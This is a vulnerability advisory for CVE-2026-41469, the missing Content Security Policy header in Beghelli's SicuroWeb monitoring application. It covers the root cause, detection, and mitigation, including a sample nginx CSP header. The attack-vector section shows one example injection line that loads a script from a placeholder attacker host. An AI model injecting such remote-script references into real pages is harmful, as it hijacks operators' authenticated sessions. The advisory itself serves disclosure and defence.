CVE-2026-41469: Beghelli Sicuro24 SicuroWeb RCE Vulnerability

CVE-2026-41469 Overview

CVE-2026-41469 affects Beghelli Sicuro24 SicuroWeb, a web-based monitoring application for emergency lighting and safety systems. The application does not enforce a Content Security Policy (CSP), allowing browsers to load JavaScript from any origin without restriction. This weakness falls under CWE-693 (Protection Mechanism Failure).

The missing CSP becomes consequential when combined with template injection and sandbox escape flaws documented in the same application. Without CSP enforcement, an attacker who achieves injection can pull arbitrary remote scripts into authenticated operator sessions.

Critical Impact

Attackers on an adjacent network can load attacker-controlled JavaScript into operator browser sessions when the missing CSP is chained with companion injection vulnerabilities in SicuroWeb.

Affected Products

• Beghelli Sicuro24 SicuroWeb (web application)
• See the VulnCheck advisory for vendor scope
• Refer to Beghelli's official website for product information

Discovery Timeline

• 2026-04-22 - CVE-2026-41469 published to NVD
• 2026-04-22 - Last updated in NVD database

Technical Details for CVE-2026-41469

Vulnerability Analysis

The SicuroWeb application serves HTTP responses without a Content-Security-Policy header or equivalent <meta http-equiv> directive. Browsers therefore apply only the default same-origin policy, which does not constrain <script src> loading to a whitelist of trusted origins. Any HTML or JavaScript reflected, stored, or injected through a sibling vulnerability runs without origin restrictions.

The public exploitation chain described in the BoffSec writeup pairs this missing control with template injection and sandbox escape primitives. The chained behavior is also reflected in the SicuroWeb ATI chain notes.

Root Cause

The root cause is a missing security hardening header. The application backend never emits a Content-Security-Policy response header, leaving script-src, object-src, and frame-src directives undefined. This is a defense-in-depth control failure, not a memory safety or input parsing bug.

Attack Vector

An attacker on an adjacent network targets an authenticated operator. Using a chained injection flaw, the attacker introduces a <script src="https://attacker.tld/payload.js"> reference into a page served by SicuroWeb. The browser fetches and executes the remote payload because no CSP blocks the cross-origin script load. User interaction is required, consistent with the CVSS vector component UI:P.

No verified standalone proof-of-concept exists for CVE-2026-41469. Related chain artifacts are published in the referenced PoC repository.

Detection Methods for CVE-2026-41469

Indicators of Compromise

• HTTP responses from SicuroWeb that lack Content-Security-Policy and Content-Security-Policy-Report-Only headers
• Outbound browser requests from operator workstations to unfamiliar script-hosting domains immediately after loading SicuroWeb pages
• Unexpected <script> tags referencing external origins in cached SicuroWeb HTML responses

Detection Strategies

• Scan SicuroWeb HTTP responses with a header auditor (for example curl -I or automated TLS/HTTP scanners) to confirm absence of CSP directives
• Inspect proxy or web gateway logs for operator workstations fetching scripts from domains not associated with the Beghelli deployment
• Hunt for browser process telemetry showing child processes or PowerShell spawned from browser sessions tied to the SicuroWeb origin

Monitoring Recommendations

• Forward web proxy logs and EDR browser telemetry into a centralized log platform and alert on script loads to newly registered or low-reputation domains
• Baseline normal external resource loads for the SicuroWeb application and alert on deviations
• Monitor authentication events for SicuroWeb operators correlated with anomalous outbound network activity

How to Mitigate CVE-2026-41469

Immediate Actions Required

• Restrict network access to the SicuroWeb management interface to dedicated administrative VLANs and operator workstations
• Apply any vendor security updates published by Beghelli on the official site and tracked in the VulnCheck advisory
• Patch the chained template injection and sandbox escape issues referenced in the same advisory set, since they are prerequisites for impactful exploitation

Patch Information

No fixed version is listed in the published NVD record at the time of writing. Administrators should consult Beghelli directly and monitor the linked advisories for an updated build of SicuroWeb that introduces a restrictive Content-Security-Policy response header.

Workarounds

• Deploy a reverse proxy in front of SicuroWeb that injects a strict Content-Security-Policy header limiting script-src to the application origin
• Block outbound internet access from operator workstations that interact with SicuroWeb, preventing retrieval of attacker-hosted payloads
• Enforce browser-level enterprise policies that restrict script execution to allow-listed domains for the SicuroWeb URL

# Example reverse proxy header injection (nginx)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'self'; base-uri 'self'" always;